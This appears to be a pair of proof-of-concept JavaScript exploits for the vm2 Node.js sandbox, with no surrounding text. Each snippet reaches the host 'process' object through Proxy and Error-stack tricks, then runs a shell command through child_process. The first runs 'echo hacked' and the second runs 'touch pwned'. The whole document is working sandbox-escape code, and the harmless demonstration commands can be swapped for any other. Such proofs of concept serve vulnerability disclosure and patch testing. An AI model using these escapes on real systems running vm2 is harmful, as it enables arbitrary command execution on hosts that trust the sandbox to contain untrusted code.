const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("echo hacked").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));